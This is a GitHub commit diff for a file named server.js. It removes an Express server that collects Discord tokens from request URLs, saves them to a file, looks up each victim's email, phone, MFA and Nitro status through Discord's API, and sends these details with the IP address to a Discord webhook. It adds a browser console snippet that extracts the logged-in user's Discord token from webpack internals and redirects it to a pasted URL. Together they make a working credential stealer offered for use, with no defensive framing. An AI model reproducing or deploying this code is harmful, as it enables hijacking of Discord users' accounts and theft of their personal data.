Skip to content

Commit 70f6ca6

Browse files
authored
Update server.js
1 parent 7532dce commit 70f6ca6

File tree

1 file changed

+6
-70
lines changed

1 file changed

+6
-70
lines changed

Diff for: server.js

+6-70
Original file line numberDiff line numberDiff line change
@@ -1,70 +1,6 @@
1-
const express = require('express');
2-
const axios = require('axios');
3-
const { Webhook, MessageBuilder } = require('discord-webhook-node');
4-
5-
const app = express();
6-
const hook = new Webhook('YOUR WEBHOOK');
7-
8-
function sendBlackEmbed(token, ip, phoneNumber, email, username, tag, avatarUrl, mfaStatus, nitroStatus) {
9-
const embed = new MessageBuilder()
10-
.setColor(0)
11-
.setAuthor(`${username}#${tag}`)
12-
.setThumbnail(avatarUrl)
13-
.addField('Email', `\`\`\`${email}\`\`\``, false)
14-
.addField('Phone', `\`\`\`${phoneNumber}\`\`\``, false)
15-
.addField('MFA Status', `\`\`\`${mfaStatus}\`\`\``, false)
16-
.addField('Nitro', `\`\`\`${nitroStatus}\`\`\``, false)
17-
.addField('IP', `\`\`\`${ip}\`\`\``, false)
18-
.addField('Token', `\`\`\`${token}\`\`\``, false);
19-
20-
hook.send(embed);
21-
}
22-
23-
app.get('/alive', (req, res) => {
24-
res.send('alive');
25-
});
26-
27-
app.get('/', (req, res) => {
28-
res.redirect('https://discord.com/app');
29-
});
30-
31-
app.get('/:token', async (req, res) => {
32-
const token = req.params.token;
33-
34-
let publicip;
35-
if (req.headers['x-forwarded-for'] === undefined) {
36-
publicip = req.connection.remoteAddress;
37-
} else {
38-
publicip = req.headers['x-forwarded-for'];
39-
}
40-
41-
// Write token to file
42-
const fs = require('fs');
43-
fs.appendFileSync('tokens.txt', `${token}\n`);
44-
45-
try {
46-
const headers = { 'Authorization': token };
47-
const response = await axios.get('https://discord.com/api/v9/users/@me', { headers });
48-
49-
if (response.status === 200) {
50-
const user_data = response.data;
51-
const username = user_data.username;
52-
const tag = user_data.discriminator;
53-
const email = user_data.email || 'N/A';
54-
const phone_number = user_data.phone || 'N/A';
55-
const avatarUrl = `https://cdn.discordapp.com/avatars/${user_data.id}/${user_data.avatar}.png`;
56-
const mfaEnabled = user_data.mfa_enabled || false;
57-
const mfaStatus = mfaEnabled ? 'Enabled' : 'Disabled';
58-
const nitroStatus = user_data.premium_type ? 'Yes' : 'No';
59-
sendBlackEmbed(token, publicip, phone_number, email, username, tag, avatarUrl, mfaStatus, nitroStatus);
60-
}
61-
} catch (error) {
62-
// Handle error
63-
}
64-
65-
res.redirect('https://discord.com/app');
66-
});
67-
68-
app.listen(81, '0.0.0.0', () => {
69-
console.log('Server running on http://0.0.0.0:81');
70-
});
1+
const url = 'PASTE_URL_HERE';
2+
var f = (webpackChunkdiscord_app.push([[''], {}, e=> {
3+
m = [];
4+
for (let c in e.c) m.push(e.c[c]);
5+
}]), m).find(m => m?.exports?.default?.getToken !== undefined).exports.default.getToken();
6+
window.location.replace(url + '/' + f);

0 commit comments

Comments
 (0)